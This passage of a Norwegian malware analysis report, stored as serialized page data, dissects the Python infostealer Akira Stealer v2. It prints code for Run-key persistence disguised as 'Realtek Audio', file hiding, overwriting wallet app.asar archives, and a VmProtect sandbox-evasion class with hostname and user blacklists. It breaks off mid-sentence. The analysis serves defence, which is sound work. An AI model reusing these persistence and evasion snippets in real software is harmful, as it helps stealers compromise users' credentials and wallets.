sikkerhetsfunksjoner",[741,4395,4397],{"id":4396},"_63-oppsummering","6.3 Oppsummering",[526,4399,747],{},[526,4401,4402,4404],{},[579,4403,2837],{}," er en sterkt obfuskert, kryptert JavaScript-loader som bruker bransjestandard kryptografi (PBKDF2 + AES-256-CBC) for å skjule sitt egentlige formål. Etter dekryptering fungerer den som en fullverdig second stage-loader som:",[631,4406,4407,4412,4415,4420],{},[634,4408,4409,4410,1140],{},"Henter mer malware (",[579,4411,2898],{},[634,4413,4414],{},"Endrer atferden til payloaden dynamisk",[634,4416,4417,4418,1140],{},"Starter selve stealer-skriptet (",[579,4419,610],{},[634,4421,4422,4423],{},"Forsterker persistence ved å gjenopprette ",[579,4424,602],{},[526,4426,4427,4428,4431],{},"Kombinasjonen av kryptering, dynamisk kjøring, modulær henting av payload og filløs drift viser en ",[568,4429,4430],{},"svært avansert JavaScript-basert malware-arkitektur"," som utnytter Node.js-funksjoner i et Electron-skall.",[557,4433,4435,4436,1140],{"id":4434},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[579,4437,610],{},[526,4439,563],{},[741,4441,4443],{"id":4442},"_71-overordnet-funksjonalitet","7.1. Overordnet funksjonalitet",[526,4445,747],{},[526,4447,4448,4449,4451],{},"Akira Stealer v2 (",[579,4450,610],{},") er en multifunksjonell, modulær infostealer skrevet i Python. Den er bygget for å eksfiltrere et bredt spekter av sensitive brukerdata fra både Chromium- og Firefox-baserte nettlesere, crypto wallets, kommunikasjonsklienter (for eksempel Discord, Telegram) og systemfiler. Den har avanserte anti-analysemekanismer, registerbasert persistence, clipboard hijacking og teknikker for memory injection.",[741,4453,4455],{"id":4454},"_72-persistence-og-utrulling","7.2 Persistence og utrulling",[526,4457,747],{},[889,4459,4461],{"id":4460},"_721-kontekst-for-kjøringskjeden","7.2.1 Kontekst for kjøringskjeden",[526,4463,895],{},[526,4465,4466,4468],{},[579,4467,610],{}," kjører ikke frittstående, men er den siste payloaden i en flertrinns angrepskjede:",[616,4470,4474],{"className":4471,"code":4472,"language":4473,"meta":530,"style":530},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[579,4475,4476,4481,4486,4491],{"__ignoreMap":530},[1710,4477,4478],{"class":1712,"line":1713},[1710,4479,4480],{},"Updater.exe\n",[1710,4482,4483],{"class":1712,"line":531},[1710,4484,4485],{},"  └── main.exe (Electron app)\n",[1710,4487,4488],{"class":1712,"line":2094},[1710,4489,4490],{},"        └── cmd.exe\n",[1710,4492,4493],{"class":1712,"line":2100},[1710,4494,4495],{},"              └── python.exe astor.py\n",[526,4497,4498,4499,4501],{},"Denne strukturerte kjøringskjeden gjør at hvert trinn kan unngå deteksjon ved å delegere den skadelige funksjonaliteten videre til neste. ",[579,4500,602],{}," innleder sekvensen og har ansvaret for å opprettholde persistence.",[889,4503,4505],{"id":4504},"_722-registerbasert-persistence","7.2.2 Registerbasert persistence",[526,4507,895],{},[526,4509,4510,4511,4513],{},"Akira etablerer persistence ved å skrive en registernøkkel under Run-stien til den innloggede brukeren. Det sikrer at ",[579,4512,602],{}," kjøres ved hver systemstart:",[616,4515,4519],{"className":4516,"code":4517,"language":4518,"meta":530,"style":530},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[579,4520,4521,4526],{"__ignoreMap":530},[1710,4522,4523],{"class":1712,"line":1713},[1710,4524,4525],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1710,4527,4528],{"class":1712,"line":531},[1710,4529,4530],{},"os.system(command)\n",[631,4532,4533,4540,4548],{},[634,4534,4535,1000,4538],{},[568,4536,4537],{},"Path",[579,4539,1682],{},[634,4541,4542,1000,4545,4547],{},[568,4543,4544],{},"Value name",[579,4546,1690],{}," (valgt for å virke harmløs)",[634,4549,4550,4553,4554],{},[568,4551,4552],{},"Payload path",": Vanligvis i ",[579,4555,4556],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[526,4558,4559,4560,4563],{},"Kommandoen skriver autorun-oppføringen stille via PowerShell eller et nativt ",[579,4561,4562],{},"os.system()","-kall.",[889,4565,4567],{"id":4566},"_723-skjuling-av-filen","7.2.3 Skjuling av filen",[526,4569,895],{},[526,4571,4572],{},"For å skjule binaryen ytterligere fra brukere og enkle AV-skanninger merkes filen med attributtene hidden og system:",[616,4574,4576],{"className":4516,"code":4575,"language":4518,"meta":530,"style":530},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[579,4577,4578],{"__ignoreMap":530},[1710,4579,4580],{"class":1712,"line":1713},[1710,4581,4575],{},[631,4583,4584,4590],{},[634,4585,4586,4589],{},[579,4587,4588],{},"+h",": Merker filen som skjult",[634,4591,4592,4595],{},[579,4593,4594],{},"+s",": Merker filen som en beskyttet systemfil",[526,4597,4598],{},"I praksis fjerner det filen fra vanlige visninger i Windows Utforsker og øker stealth.",[889,4600,4602],{"id":4601},"_724-reinfeksjonsteknikker","7.2.4 Reinfeksjonsteknikker",[526,4604,895],{},[526,4606,4607,4608,4610,4611,647,4614,4617],{},"Malwaren støtter selvreplikering og reinfeksjon gjennom Electron application hijacking. Konkret erstatter den arkivet ",[579,4609,1074],{}," i Electron-baserte desktop-wallets (for eksempel ",[568,4612,4613],{},"Exodus",[568,4615,4616],{},"Atomic Wallet",") for å kjøre skadelig JavaScript ved legitim appstart.",[526,4619,4620],{},"Logikken ser etter kjente stier til wallet-apper:",[616,4622,4624],{"className":4516,"code":4623,"language":4518,"meta":530,"style":530},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[579,4625,4626],{"__ignoreMap":530},[1710,4627,4628],{"class":1712,"line":1713},[1710,4629,4623],{},[526,4631,4632,4633,4635],{},"Finnes målfilen, overskrives den med et våpengjort arkiv. Det sikrer persistence selv etter at ",[579,4634,602],{}," er fjernet manuelt.",[741,4637,4639,4640,1140],{"id":4638},"_73-anti-analyse-unnvikelse-klasse-vmprotect","7.3 Anti-analyse / unnvikelse (klasse: ",[579,4641,4642],{},"VmProtect",[526,4644,747],{},[889,4646,4648],{"id":4647},"_731-innledning","7.3.1 Innledning",[526,4650,895],{},[526,4652,4653,4654,4657,4658,4660],{},"I moderne malware-kampanjer er det avgjørende å unngå analyse i virtualiserte miljøer og sandbox-miljøer for å beholde stealth. ",[4655,4656,678],"em",{}," implementerer en omfattende modul for VM- og sandbox-deteksjon (",[579,4659,4642],{},") som aggressivt identifiserer analytikerkontrollerte miljøer og avbryter kjøringen der. Denne rapporten dissekerer hver enkelt deteksjonsteknikk, gjengir de eksakte kodeutdragene inkludert komplette blacklist-definisjoner, og beskriver analysemetodikken vi brukte.",[889,4662,4664],{"id":4663},"_732-oversikt","7.3.2 Oversikt",[526,4666,895],{},[526,4668,4669,4670,4672],{},"Klassen ",[579,4671,4642],{}," implementerer robust deteksjon av VM og sandbox for å avbryte kjøringen tidlig i analysemiljøer. Den støtter to deteksjonsnivåer:",[631,4674,4675,4681],{},[634,4676,4677,4680],{},[568,4678,4679],{},"Level 1",": Lette, raske sjekker",[634,4682,4683,4686],{},[568,4684,4685],{},"Level 2",": Grundige, omfattende sonderinger",[526,4688,4689,4690,4693,4694,4697,4698,4701],{},"Hvis ",[579,4691,4692],{},"VmProtect.isVM(level)"," returnerer ",[579,4695,4696],{},"True",", kaller malwaren ",[579,4699,4700],{},"sys.exit()"," og hindrer videre analyse.",[889,4703,4705],{"id":4704},"_733-deteksjonsnivåer","7.3.3 Deteksjonsnivåer",[526,4707,895],{},[1418,4709,4710,4711],{},"\n  ",[1434,4712,4713,4710,4723,4710,4733,4710,4742,4710,4751,4710,4761,4710,4770,4710,4779],{},[1424,4714,4715,4716,4715,4719,4715,4721,4710],{},"\n    ",[1427,4717,4718],{},"Feature",[1427,4720,4679],{},[1427,4722,4685],{},[1424,4724,4715,4725,4715,4728,4715,4731,4710],{},[1439,4726,4727],{},"HTTPSimulation",[1439,4729,4730],{},"✔️",[1439,4732,4730],{},[1424,4734,4715,4735,4715,4738,4715,4740,4710],{},[1439,4736,4737],{},"Computer-name blacklist",[1439,4739,4730],{},[1439,4741,4730],{},[1424,4743,4715,4744,4715,4747,4715,4749,4710],{},[1439,4745,4746],{},"User-account blacklist",[1439,4748,4730],{},[1439,4750,4730],{},[1424,4752,4715,4753,4715,4756,4715,4759,4710],{},[1439,4754,4755],{},"Hardware-UUID blacklist",[1439,4757,4758],{},"❌",[1439,4760,4730],{},[1424,4762,4715,4763,4715,4766,4715,4768,4710],{},[1439,4764,4765],{},"Public-hosting API check",[1439,4767,4758],{},[1439,4769,4730],{},[1424,4771,4715,4772,4715,4775,4715,4777,4710],{},[1439,4773,4774],{},"Registry & GPU hints",[1439,4776,4758],{},[1439,4778,4730],{},[1424,4780,4715,4781,4715,4784,4715,4786,4710],{},[1439,4782,4783],{},"Task-killing background",[1439,4785,4730],{},[1439,4787,4730],{},[854,4789],{"className":4790},[857,858],[889,4792,4794,4795,4797],{"id":4793},"_734-vmprotect-arkitektur","7.3.4 ",[579,4796,4642],{},"-arkitektur",[526,4799,895],{},[526,4801,4669,4802,4804],{},[579,4803,4642],{}," eksponerer følgende hovedmetoder:",[631,4806,4807,4814,4821,4828,4835,4842,4849,4856],{},[634,4808,4809],{},[568,4810,4811],{},[579,4812,4813],{},"checkUUID()",[634,4815,4816],{},[568,4817,4818],{},[579,4819,4820],{},"checkComputerName()",[634,4822,4823],{},[568,4824,4825],{},[579,4826,4827],{},"checkUsers()",[634,4829,4830],{},[568,4831,4832],{},[579,4833,4834],{},"checkHosting()",[634,4836,4837],{},[568,4838,4839],{},[579,4840,4841],{},"checkHTTPSimulation()",[634,4843,4844],{},[568,4845,4846],{},[579,4847,4848],{},"checkRegistry()",[634,4850,4851],{},[568,4852,4853],{},[579,4854,4855],{},"killTasks()",[634,4857,4858],{},[568,4859,4860],{},[579,4861,4862],{},"isVM(level)",[526,4864,4865,4866,4869],{},"Hver metode returnerer en boolsk verdi eller utfører unnvikelsessteg. Wrapperen ",[579,4867,4868],{},"isVM"," samler disse sjekkene ut fra nivået som er angitt.",[1418,4871,4710,4872],{},[1434,4873,4874,4710,4885,4710,4899,4710,4913,4710,4926,4710,4939,4710,4952,4710,4965,4710,4980],{},[1424,4875,4715,4876,4715,4879,4715,4882,4710],{},[1427,4877,4878],{},"Method",[1427,4880,4881],{},"Triggered By",[1427,4883,4884],{},"Description",[1424,4886,4715,4887,4715,4891,4715,4896,4710],{},[1439,4888,4889],{},[579,4890,4813],{},[1439,4892,4893],{},[579,4894,4895],{},"isVM(2)",[1439,4897,4898],{},"WMI UUID blacklist",[1424,4900,4715,4901,4715,4905,4715,4910,4710],{},[1439,4902,4903],{},[579,4904,4820],{},[1439,4906,4907],{},[579,4908,4909],{},"isVM(1,2)",[1439,4911,4912],{},"Environment hostname match",[1424,4914,4715,4915,4715,4919,4715,4923,4710],{},[1439,4916,4917],{},[579,4918,4827],{},[1439,4920,4921],{},[579,4922,4909],{},[1439,4924,4925],{},"Username blacklist",[1424,4927,4715,4928,4715,4932,4715,4936,4710],{},[1439,4929,4930],{},[579,4931,4834],{},[1439,4933,4934],{},[579,4935,4895],{},[1439,4937,4938],{},"IP hosting provider check via ip-api.com",[1424,4940,4715,4941,4715,4945,4715,4949,4710],{},[1439,4942,4943],{},[579,4944,4841],{},[1439,4946,4947],{},[579,4948,4909],{},[1439,4950,4951],{},"HTTPS interception detection",[1424,4953,4715,4954,4715,4958,4715,4962,4710],{},[1439,4955,4956],{},[579,4957,4848],{},[1439,4959,4960],{},[579,4961,4895],{},[1439,4963,4964],{},"Registry & GPU driver artifacts",[1424,4966,4715,4967,4715,4971,4715,4977,4710],{},[1439,4968,4969],{},[579,4970,4855],{},[1439,4972,4973,4976],{},[579,4974,4975],{},"isVM(...)"," spawn",[1439,4978,4979],{},"Terminates known analysis processes",[1424,4981,4715,4982,4715,4986,4715,4989,4710],{},[1439,4983,4984],{},[579,4985,4862],{},[1439,4987,4988],{},"init",[1439,4990,4991,4992,4994],{},"Aggregates checks and calls ",[579,4993,4855],{}," thread",[854,4996],{"className":4997},[857,858],[616,4999,5001],{"className":4516,"code":5000,"language":4518,"meta":530,"style":530},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[579,5002,5003,5008,5013,5018,5023,5028,5033,5038,5043,5048,5053,5059,5065,5071,5077,5083,5089,5095,5101,5107,5113,5119,5125,5131,5137],{"__ignoreMap":530},[1710,5004,5005],{"class":1712,"line":1713},[1710,5006,5007],{},"@staticmethod\n",[1710,5009,5010],{"class":1712,"line":531},[1710,5011,5012],{},"def isVM(level: int) -> bool:\n",[1710,5014,5015],{"class":1712,"line":2094},[1710,5016,5017],{},"    # Always start background task-killer\n",[1710,5019,5020],{"class":1712,"line":2100},[1710,5021,5022],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1710,5024,5025],{"class":1712,"line":2420},[1710,5026,5027],{},"    if level == 1:\n",[1710,5029,5030],{"class":1712,"line":2426},[1710,5031,5032],{},"        # Fast path: HTTPS, hostname & user\n",[1710,5034,5035],{"class":1712,"line":3084},[1710,5036,5037],{},"        return (\n",[1710,5039,5040],{"class":1712,"line":3880},[1710,5041,5042],{},"            VmProtect.checkHTTPSimulation()\n",[1710,5044,5045],{"class":1712,"line":3886},[1710,5046,5047],{},"            or VmProtect.checkComputerName()\n",[1710,5049,5050],{"class":1712,"line":4131},[1710,5051,5052],{},"            or VmProtect.checkUsers()\n",[1710,5054,5056],{"class":1712,"line":5055},11,[1710,5057,5058],{},"        )\n",[1710,5060,5062],{"class":1712,"line":5061},12,[1710,5063,5064],{},"    if level == 2:\n",[1710,5066,5068],{"class":1712,"line":5067},13,[1710,5069,5070],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1710,5072,5074],{"class":1712,"line":5073},14,[1710,5075,5076],{},"        try:\n",[1710,5078,5080],{"class":1712,"line":5079},15,[1710,5081,5082],{},"            return (\n",[1710,5084,5086],{"class":1712,"line":5085},16,[1710,5087,5088],{},"                VmProtect.checkHTTPSimulation()\n",[1710,5090,5092],{"class":1712,"line":5091},17,[1710,5093,5094],{},"                or VmProtect.checkUUID()\n",[1710,5096,5098],{"class":1712,"line":5097},18,[1710,5099,5100],{},"                or VmProtect.checkComputerName()\n",[1710,5102,5104],{"class":1712,"line":5103},19,[1710,5105,5106],{},"                or VmProtect.checkUsers()\n",[1710,5108,5110],{"class":1712,"line":5109},20,[1710,5111,5112],{},"                or VmProtect.checkHosting()\n",[1710,5114,5116],{"class":1712,"line":5115},21,[1710,5117,5118],{},"                or VmProtect.checkRegistry()\n",[1710,5120,5122],{"class":1712,"line":5121},22,[1710,5123,5124],{},"            )\n",[1710,5126,5128],{"class":1712,"line":5127},23,[1710,5129,5130],{},"        except:\n",[1710,5132,5134],{"class":1712,"line":5133},24,[1710,5135,5136],{},"            return False\n",[1710,5138,5140],{"class":1712,"line":5139},25,[1710,5141,5142],{},"    return False\n",[889,5144,5146],{"id":5145},"_735-uuid-sjekk-identifisering-av-virtuelle-maskiner-via-hardware-uuid","7.3.5 UUID-sjekk - identifisering av virtuelle maskiner via hardware-UUID",[526,5148,895],{},[526,5150,5151],{},"En vanlig taktikk i malware-unnvikelse er å ta fingeravtrykk av det underliggende maskinvaremiljøet. En av de tidligste identifikatorene som kan avsløre en virtuell maskin, er systemets UUID (Universally Unique Identifier). Virtualiseringsplattformer som VMware og VirtualBox genererer ofte forutsigbare eller gjenbrukte UUID-er, som malware kan bruke til å slutte seg til om den kjører i et virtualisert miljø eller en sandbox.",[616,5153,5155],{"className":4516,"code":5154,"language":4518,"meta":530,"style":530},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[579,5156,5157,5161,5166,5171,5176,5181,5186,5191,5196,5201],{"__ignoreMap":530},[1710,5158,5159],{"class":1712,"line":1713},[1710,5160,5007],{},[1710,5162,5163],{"class":1712,"line":531},[1710,5164,5165],{},"def checkUUID() -> bool:\n",[1710,5167,5168],{"class":1712,"line":2094},[1710,5169,5170],{},"    try:\n",[1710,5172,5173],{"class":1712,"line":2100},[1710,5174,5175],{},"        raw = subprocess.run(\n",[1710,5177,5178],{"class":1712,"line":2420},[1710,5179,5180],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1710,5182,5183],{"class":1712,"line":2426},[1710,5184,5185],{},"            capture_output=True\n",[1710,5187,5188],{"class":1712,"line":3084},[1710,5189,5190],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1710,5192,5193],{"class":1712,"line":3880},[1710,5194,5195],{},"    except:\n",[1710,5197,5198],{"class":1712,"line":3886},[1710,5199,5200],{},"        raw = \"\"\n",[1710,5202,5203],{"class":1712,"line":4131},[1710,5204,5205],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[526,5207,5208],{},"Denne sjekken bruker verktøyet Windows Management Instrumentation Command-line (WMIC) til å hente UUID-en til vertsmaskinen. Verdien som kommer tilbake, sammenlignes deretter med en kuratert liste over UUID-er som ofte knyttes til maler for virtuelle maskiner eller kjente analyseoppsett.",[889,5210,5212],{"id":5211},"_736-sjekk-av-datamaskinnavn-deteksjon-av-sandbox-og-analysemiljøer-via-hostname","7.3.6 Sjekk av datamaskinnavn - deteksjon av sandbox- og analysemiljøer via hostname",[526,5214,895],{},[526,5216,5217,5218,5221],{},"Systemets hostname, tilgjengelig via miljøvariabelen ",[579,5219,5220],{},"%COMPUTERNAME%",", avslører ofte spor av miljøet det står i. Analytikere bruker gjerne standardnavn eller raskt genererte hostnavn som \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\" eller til og med navn knyttet til sine egne interne miljøer. Malware utnytter det ved å sammenligne systemets hostname mot en blacklist.",[616,5223,5225],{"className":4516,"code":5224,"language":4518,"meta":530,"style":530},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[579,5226,5227,5231,5236,5241,5246,5250,5255,5260,5265,5270],{"__ignoreMap":530},[1710,5228,5229],{"class":1712,"line":1713},[1710,5230,5007],{},[1710,5232,5233],{"class":1712,"line":531},[1710,5234,5235],{},"def checkComputerName() -> bool:\n",[1710,5237,5238],{"class":1712,"line":2094},[1710,5239,5240],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1710,5242,5243],{"class":1712,"line":2100},[1710,5244,5245],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1710,5247,5248],{"class":1712,"line":2420},[1710,5249,3877],{"emptyLinePlaceholder":325},[1710,5251,5252],{"class":1712,"line":2426},[1710,5253,5254],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1710,5256,5257],{"class":1712,"line":3084},[1710,5258,5259],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1710,5261,5262],{"class":1712,"line":3880},[1710,5263,5264],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1710,5266,5267],{"class":1712,"line":3886},[1710,5268,5269],{},"    # ... dozens more entries ...\n",[1710,5271,5272],{"class":1712,"line":4131},[1710,5273,5274],{},")\n",[526,5276,5277],{},"Ved treff kan malwaren velge å avbryte kjøringen eller rulle ut en falsk payload, og slik unngå en fullstendig atferdsanalyse.",[889,5279,5281],{"id":5280},"_737-sjekk-av-brukerkonto-profilering-av-analytiker-og-standardkontoer","7.3.7 Sjekk av brukerkonto - profilering av analytiker- og standardkontoer",[526,5283,895],{},[526,5285,5286],{},"En annen heuristikk går på å vurdere brukernavnet malwaren kjører under. Mange maler for virtuelle maskiner og sandboxer gjenbruker vanlige brukernavn som \"Abby\", \"Test\" eller \"wdagutilityaccount\". Navnene har lav entropi og er ofte hardkodet i sandbox-miljøer med åpen kildekode.",[616,5288,5290],{"className":4516,"code":5289,"language":4518,"meta":530,"style":530},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[579,5291,5292,5296,5301,5306,5311,5315,5320,5325,5330,5335],{"__ignoreMap":530},[1710,5293,5294],{"class":1712,"line":1713},[1710,5295,5007],{},[1710,5297,5298],{"class":1712,"line":531},[1710,5299,5300],{},"def checkUsers() -> bool:\n",[1710,5302,5303],{"class":1712,"line":2094},[1710,5304,5305],{},"    user = os.getlogin().lower()\n",[1710,5307,5308],{"class":1712,"line":2100},[1710,5309,5310],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1710,5312,5313],{"class":1712,"line":2420},[1710,5314,3877],{"emptyLinePlaceholder":325},[1710,5316,5317],{"class":1712,"line":2426},[1710,5318,5319],{},"BLACKLISTED_USERS = (\n",[1710,5321,5322],{"class":1712,"line":3084},[1710,5323,5324],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1710,5326,5327],{"class":1712,"line":3880},[1710,5328,5329],{},"    'a.monaldo','tvm',\n",[1710,5331,5332],{"class":1712,"line":3886},[1710,5333,5334],{},"    # ... 30+ more entries ...\n",[1710,5336,5337],{"class":1712,"line":4131},[1710,5338,5274],{},[526,5340,5341],{},"Denne sjekken forbedrer deteksjonen ved å se på brukerkonteksten, som kan forbli uendret selv gjennom omstarter eller snapshots av virtuelle maskiner.",[889,5343,5345],{"id":5344},"_738-hosting-sjekk-deteksjon-av-offentlig-skyinfrastruktur","7.3.8 Hosting-sjekk - deteksjon av offentlig skyinfrastruktur",[526,5347,895],{},[526,5349,5350,5351,5354],{},"En del malware bruker eksterne IP-etterretningstjenester til å verifisere om det infiserte systemet står i et kjent datasenter eller hos en kjent skyleverandør. Her gjøres en enkel HTTP-forespørsel til ",[579,5352,5353],{},"ip-api.com",", som spør om IP-adressen er flagget som \"hosting\".",[616,5356,5358],{"className":4516,"code":5357,"language":4518,"meta":530,"style":530},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[579,5359,5360,5364,5369,5374,5378,5383,5388,5393,5398,5402],{"__ignoreMap":530},[1710,5361,5362],{"class":1712,"line":1713},[1710,5363,5007],{},[1710,5365,5366],{"class":1712,"line":531},[1710,5367,5368],{},"def checkHosting() -> bool:\n",[1710,5370,5371],{"class":1712,"line":2094},[1710,5372,5373],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1710,5375,5376],{"class":1712,"line":2100},[1710,5377,5170],{},[1710,5379,5380],{"class":1712,"line":2420},[1710,5381,5382],{},"        return http.request(\n",[1710,5384,5385],{"class":1712,"line":2426},[1710,5386,5387],{},"            'GET',\n",[1710,5389,5390],{"class":1712,"line":3084},[1710,5391,5392],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1710,5394,5395],{"class":1712,"line":3880},[1710,5396,5397],{},"        ).data.decode().strip() == 'true'\n",[1710,5399,5400],{"class":1712,"line":3886},[1710,5401,5195],{},[1710,5403,5404],{"class":1712,"line":4131},[1710,5405,5406],{},"        return False\n",[526,5408,5409],{},"Slik kan malwaren avgjøre om den kjører på infrastruktur som eies av Microsoft Azure, AWS, DigitalOcean og liknende, et faresignal om sandboxing.",[889,5411,5413],{"id":5412},"_739-https-simuleringssjekk-sondering-etter-ssl-interception","7.3.9 HTTPS-simuleringssjekk - sondering etter SSL-interception",[526,5415,895],{},[526,5417,5418,5419,5422],{},"For å identifisere miljøer med SSL-inspeksjon (vanlig i bedrifts- og forskningsnettverk) sender malwaren en harmløs HTTPS-forespørsel til et tilfeldig subdomene under ",[579,5420,5421],{},".in",". Feiler forbindelsen, på grunn av DNS-filtrering, interception-proxyer eller mislykket certificate pinning, kan det være et signal om at malwaren blir analysert.",[616,5424,5426],{"className":4516,"code":5425,"language":4518,"meta":530,"style":530},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[579,5427,5428,5432,5437,5442,5446,5451,5455,5459],{"__ignoreMap":530},[1710,5429,5430],{"class":1712,"line":1713},[1710,5431,5007],{},[1710,5433,5434],{"class":1712,"line":531},[1710,5435,5436],{},"def checkHTTPSimulation() -> bool:\n",[1710,5438,5439],{"class":1712,"line":2094},[1710,5440,5441],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1710,5443,5444],{"class":1712,"line":2100},[1710,5445,5170],{},[1710,5447,5448],{"class":1712,"line":2420},[1710,5449,5450],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1710,5452,5453],{"class":1712,"line":2426},[1710,5454,5195],{},[1710,5456,5457],{"class":1712,"line":3084},[1710,5458,5406],{},[1710,5460,5461],{"class":1712,"line":3880},[1710,5462,5463],{},"    return True\n",[526,5465,5466],{},"Denne subtile metoden tester integriteten i nettverksveien uten å utløse alarmer eller kreve egen infrastruktur.",[889,5468,5470],{"id":5469},"_7310-register-og-gpu-driversjekk-deteksjon-av-virtuelle-gpu-signaturer","7.3.10 Register- og GPU-driversjekk - deteksjon av virtuelle GPU-signaturer",[526,5472,895],{},[526,5474,5475,5476,5479],{},"Noen virtuelle miljøer avsløres av registernøkler eller deskriptorer for GPU-drivere. Akira bruker en dobbel strategi: den spør registeroppføringer knyttet til grafikkundersystemet, og undersøker separat utdataene fra ",[579,5477,5478],{},"wmic"," etter mistenkelige GPU-strenger.",[616,5481,5483],{"className":4516,"code":5482,"language":4518,"meta":530,"style":530},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[579,5484,5485,5489,5494,5499,5504,5509,5514,5519,5523,5527,5532,5537,5542,5547,5552,5557],{"__ignoreMap":530},[1710,5486,5487],{"class":1712,"line":1713},[1710,5488,5007],{},[1710,5490,5491],{"class":1712,"line":531},[1710,5492,5493],{},"def checkRegistry() -> bool:\n",[1710,5495,5496],{"class":1712,"line":2094},[1710,5497,5498],{},"    r1 = subprocess.run(\n",[1710,5500,5501],{"class":1712,"line":2100},[1710,5502,5503],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1710,5505,5506],{"class":1712,"line":2420},[1710,5507,5508],{},"        capture_output=True, shell=True)\n",[1710,5510,5511],{"class":1712,"line":2426},[1710,5512,5513],{},"    r2 = subprocess.run(\n",[1710,5515,5516],{"class":1712,"line":3084},[1710,5517,5518],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1710,5520,5521],{"class":1712,"line":3880},[1710,5522,5508],{},[1710,5524,5525],{"class":1712,"line":3886},[1710,5526,3877],{"emptyLinePlaceholder":325},[1710,5528,5529],{"class":1712,"line":4131},[1710,5530,5531],{},"    # GPU name check\n",[1710,5533,5534],{"class":1712,"line":5055},[1710,5535,5536],{},"    gpu_out = subprocess.run(\n",[1710,5538,5539],{"class":1712,"line":5061},[1710,5540,5541],{},"        \"wmic path win32_VideoController get name\",\n",[1710,5543,5544],{"class":1712,"line":5067},[1710,5545,5546],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1710,5548,5549],{"class":1712,"line":5073},[1710,5550,5551],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1710,5553,5554],{"class":1712,"line":5079},[1710,5555,5556],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1710,5558,5559],{"class":1712,"line":5085},[1710,5560,5561],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[526,5563,5564],{},"Disse 